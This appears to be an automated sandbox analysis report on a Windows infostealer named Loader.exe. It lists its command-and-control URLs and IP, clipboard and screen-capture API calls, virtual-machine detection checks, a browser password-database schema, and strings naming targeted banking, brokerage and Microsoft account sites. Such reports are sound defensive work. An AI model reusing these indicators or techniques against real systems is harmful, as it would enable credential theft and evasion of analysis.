Source: Loader.exe, 00000001.00000003.2640883555.000000000146F000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000001.00000003.2641218007.0000000001476000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000001.00000003.2640956088.0000000001474000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ingreem-eilish.biz/&&
Source: Loader.exe, 00000001.00000002.2712486611.0000000001457000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000001.00000003.2690412895.0000000001478000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000001.00000003.2640936744.000000000147A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ingreem-eilish.biz/api
Source: Loader.exe, 00000001.00000002.2712486611.000000000140C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ingreem-eilish.biz/apiC
Source: Loader.exe, 00000001.00000002.2712836874.000000000147C000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000001.00000003.2690412895.0000000001478000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ingreem-eilish.biz/apiX
Source: Loader.exe, 00000001.00000003.2690435332.0000000001475000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ingreem-eilish.biz/h
Source: Loader.exe, 00000001.00000002.2712486611.00000000013D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ingreem-eilish.biz:443/api
Source: Loader.exe, 00000001.00000002.2712486611.00000000013D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ingreem-eilish.biz:443/apiK
Source: Loader.exe, 00000001.00000002.2712486611.00000000013D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ingreem-eilish.biz:443/apiicrosoft
Source: Loader.exe, 00000001.00000003.2616062233.00000000039E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: Loader.exe, 00000001.00000003.2616062233.00000000039E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: Loader.exe, 00000001.00000003.2568059409.00000000036FD000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000001.00000003.2568126964.00000000036FA000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000001.00000003.2568255337.00000000036FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: Loader.exe, 00000001.00000003.2568059409.00000000036FD000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000001.00000003.2568126964.00000000036FA000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000001.00000003.2568255337.00000000036FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: Loader.exe, 00000001.00000003.2616062233.00000000039E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: Loader.exe, 00000001.00000003.2616062233.00000000039E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: Loader.exe, 00000001.00000003.2616062233.00000000039E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: Loader.exe, 00000001.00000003.2616062233.00000000039E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: Loader.exe, 00000001.00000003.2616062233.00000000039E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: Loader.exe, 00000001.00000003.2616062233.00000000039E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767

Source: unknown	HTTPS traffic detected: 104.21.90.135:443 -> 192.168.2.5:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.90.135:443 -> 192.168.2.5:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.90.135:443 -> 192.168.2.5:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.90.135:443 -> 192.168.2.5:49773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.90.135:443 -> 192.168.2.5:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.90.135:443 -> 192.168.2.5:49786 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.90.135:443 -> 192.168.2.5:49792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.90.135:443 -> 192.168.2.5:49799 version: TLS 1.2

Source: C:\Users\user\Desktop\Loader.exe

Code function: 1_2_004327B0 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

1_2_004327B0

Source: C:\Users\user\Desktop\Loader.exe

Code function: 1_2_004327B0 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

1_2_004327B0

Source: C:\Users\user\Desktop\Loader.exe

Code function: 1_2_004339F0 GetDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,

1_2_004339F0

Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_00AFF080 NtAllocateVirtualMemory,		1_2_00AFF080
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_00AFF5C0 NtProtectVirtualMemory,NtProtectVirtualMemory,		1_2_00AFF5C0

Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_00F03010	1_2_00F03010
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_00EF1000	1_2_00EF1000
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_00EFB9E0	1_2_00EFB9E0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_00F1E170	1_2_00F1E170
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_00EFC970	1_2_00EFC970
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_011CF711	1_2_011CF711
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_00F1DA80	1_2_00F1DA80
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_00F0DA50	1_2_00F0DA50
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_00EF6A30	1_2_00EF6A30
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_011C4A55	1_2_011C4A55
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_0043E840	1_2_0043E840
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_0040A8C0	1_2_0040A8C0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_0043A970	1_2_0043A970
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_0040D120	1_2_0040D120
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_00423A2A	1_2_00423A2A
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_004272D0	1_2_004272D0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_00421A80	1_2_00421A80
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_0042DB7F	1_2_0042DB7F
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_00437BC0	1_2_00437BC0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_0043EC80	1_2_0043EC80
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_004085D0	1_2_004085D0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_0043F5E0	1_2_0043F5E0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_004105F3	1_2_004105F3
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_0040C63C	1_2_0040C63C
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_004377E0	1_2_004377E0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_0043506D	1_2_0043506D
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_00428889	1_2_00428889
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_004088B0	1_2_004088B0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_00409150	1_2_00409150
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_00405950	1_2_00405950
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_0041A150	1_2_0041A150
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_00430161	1_2_00430161
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_00414170	1_2_00414170
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_0043B100	1_2_0043B100
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_0041910E	1_2_0041910E
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_00403920	1_2_00403920
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_0041912E	1_2_0041912E
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_00416930	1_2_00416930
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_0043E9D0	1_2_0043E9D0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_004199E2	1_2_004199E2
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_00437180	1_2_00437180
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_0043D980	1_2_0043D980
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_004111A6	1_2_004111A6
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_00406240	1_2_00406240
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_0041CA70	1_2_0041CA70
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_0041D200	1_2_0041D200
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_0041FA10	1_2_0041FA10
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_00423A1C	1_2_00423A1C
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_0041E220	1_2_0041E220
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_0042822E	1_2_0042822E
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_00426A30	1_2_00426A30
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_00409AC1	1_2_00409AC1
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_004042D0	1_2_004042D0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_004162F1	1_2_004162F1
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_00424280	1_2_00424280
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_0043F280	1_2_0043F280
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_0043DA80	1_2_0043DA80
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_00428A9B	1_2_00428A9B
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_00424AA8	1_2_00424AA8
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_00402B40	1_2_00402B40
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_0041B360	1_2_0041B360
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_00432370	1_2_00432370
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_0043DBF0	1_2_0043DBF0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_00419BFF	1_2_00419BFF
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_00435B98	1_2_00435B98
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_004223A0	1_2_004223A0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_004383A0	1_2_004383A0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_00411C40	1_2_00411C40
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_00404C60	1_2_00404C60
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_0042DB7A	1_2_0042DB7A
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_0041542D	1_2_0041542D
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_004144D5	1_2_004144D5
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_0040ECE0	1_2_0040ECE0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_0043DC80	1_2_0043DC80
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_004074A0	1_2_004074A0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_004294A1	1_2_004294A1
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_0040AD40	1_2_0040AD40
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_0041E560	1_2_0041E560
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_0043DD00	1_2_0043DD00
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_004325C0	1_2_004325C0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_0043ADE0	1_2_0043ADE0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_0040E59D	1_2_0040E59D
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_00419BFF	1_2_00419BFF
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_004365B4	1_2_004365B4
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_0041B650	1_2_0041B650
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_00409600	1_2_00409600
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_00416603	1_2_00416603
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_0041DE20	1_2_0041DE20
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_00438630	1_2_00438630
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_00418638	1_2_00418638
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_004066D0	1_2_004066D0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_00415EDC	1_2_00415EDC
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_00402EE0	1_2_00402EE0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_00425691	1_2_00425691
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_00423699	1_2_00423699
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_00405EA0	1_2_00405EA0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_00438F45	1_2_00438F45
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_0043EF60	1_2_0043EF60
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_0040DF04	1_2_0040DF04
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_00422F0D	1_2_00422F0D
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_00414F1E	1_2_00414F1E
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_00436F20	1_2_00436F20
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_00427780	1_2_00427780
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_0041E790	1_2_0041E790
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_004277A0	1_2_004277A0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_00423FA0	1_2_00423FA0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_00AFE000	1_2_00AFE000

Source: C:\Users\user\Desktop\Loader.exe	Code function: String function: 00414160 appears 69 times
Source: C:\Users\user\Desktop\Loader.exe	Code function: String function: 00407EB0 appears 57 times

Source: Loader.exe, 00000001.00000000.2328628388.00000000011D9000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameBedWpostk.exe8 vs Loader.exe
Source: Loader.exe, 00000001.00000003.2521460358.0000000002C3D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameBedWpostk.exe8 vs Loader.exe
Source: Loader.exe	Binary or memory string: OriginalFilenameBedWpostk.exe8 vs Loader.exe

Source: Loader.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/0@1/1

Source: C:\Users\user\Desktop\Loader.exe

Code function: 1_2_00437BC0 CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,

1_2_00437BC0

Source: Loader.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Loader.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Loader.exe, 00000001.00000003.2589997046.0000000003760000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000001.00000003.2568570171.00000000036CB000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000001.00000003.2589781754.00000000036CC000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000001.00000003.2568408318.00000000036E8000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Loader.exe

ReversingLabs: Detection: 57%

Source: C:\Users\user\Desktop\Loader.exe

File read: C:\Users\user\Desktop\Loader.exe

Jump to behavior

Source: C:\Users\user\Desktop\Loader.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: Loader.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: Loader.exe

Static file information: File size 3208704 > 1048576

Source: Loader.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x2df200

Source: Loader.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: Loader.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: Loader.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: Loader.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Loader.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: Loader.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: Loader.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: Loader.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:

Binary string: C:\Admin\Workspace\1199853044\Project\Release\Project.pdb source: Loader.exe

Source: Loader.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: Loader.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: Loader.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: Loader.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: Loader.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_00F069BD push 03FFFFFFh; ret	1_2_00F069C2
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_00F05581 pushad ; iretd	1_2_00F05582
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_00F04692 push 81FFFFFFh; ret	1_2_00F04697
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_011CFE44 push ecx; ret	1_2_011CFE57
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_0043D950 push eax; mov dword ptr [esp], 71708F5Eh	1_2_0043D951
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_0043AD30 push eax; mov dword ptr [esp], ADAEAFA0h	1_2_0043AD3E

Source: C:\Users\user\Desktop\Loader.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\Loader.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\Loader.exe TID: 3668

Thread sleep time: -120000s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\Loader.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\Loader.exe

Code function: 1_2_011C9255 FindFirstFileExW,

1_2_011C9255

Source: Loader.exe, 00000001.00000003.2589472932.00000000036F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: Loader.exe, 00000001.00000003.2589472932.00000000036F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: Loader.exe, 00000001.00000003.2589472932.00000000036F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: Loader.exe, 00000001.00000003.2589472932.00000000036F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: Loader.exe, 00000001.00000003.2589339784.0000000003763000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: Loader.exe, 00000001.00000003.2589472932.00000000036F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: Loader.exe, 00000001.00000003.2589472932.00000000036F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: Loader.exe, 00000001.00000002.2712486611.00000000013BD000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000001.00000002.2712486611.000000000140C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Loader.exe, 00000001.00000003.2589472932.00000000036F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: Loader.exe, 00000001.00000003.2589472932.00000000036F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: Loader.exe, 00000001.00000003.2589472932.00000000036F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: Loader.exe, 00000001.00000003.2589472932.00000000036F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: Loader.exe, 00000001.00000003.2589472932.00000000036F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: Loader.exe, 00000001.00000003.2589472932.00000000036F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: Loader.exe, 00000001.00000003.2589472932.00000000036F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: Loader.exe, 00000001.00000003.2589472932.00000000036F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: Loader.exe, 00000001.00000003.2589472932.00000000036F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: Loader.exe, 00000001.00000003.2589472932.00000000036F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: Loader.exe, 00000001.00000003.2589472932.00000000036F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: Loader.exe, 00000001.00000003.2589472932.00000000036F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: Loader.exe, 00000001.00000003.2589472932.00000000036F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: Loader.exe, 00000001.00000003.2589472932.00000000036F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: Loader.exe, 00000001.00000003.2589472932.00000000036F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: Loader.exe, 00000001.00000003.2589472932.00000000036F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: Loader.exe, 00000001.00000003.2589472932.00000000036F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
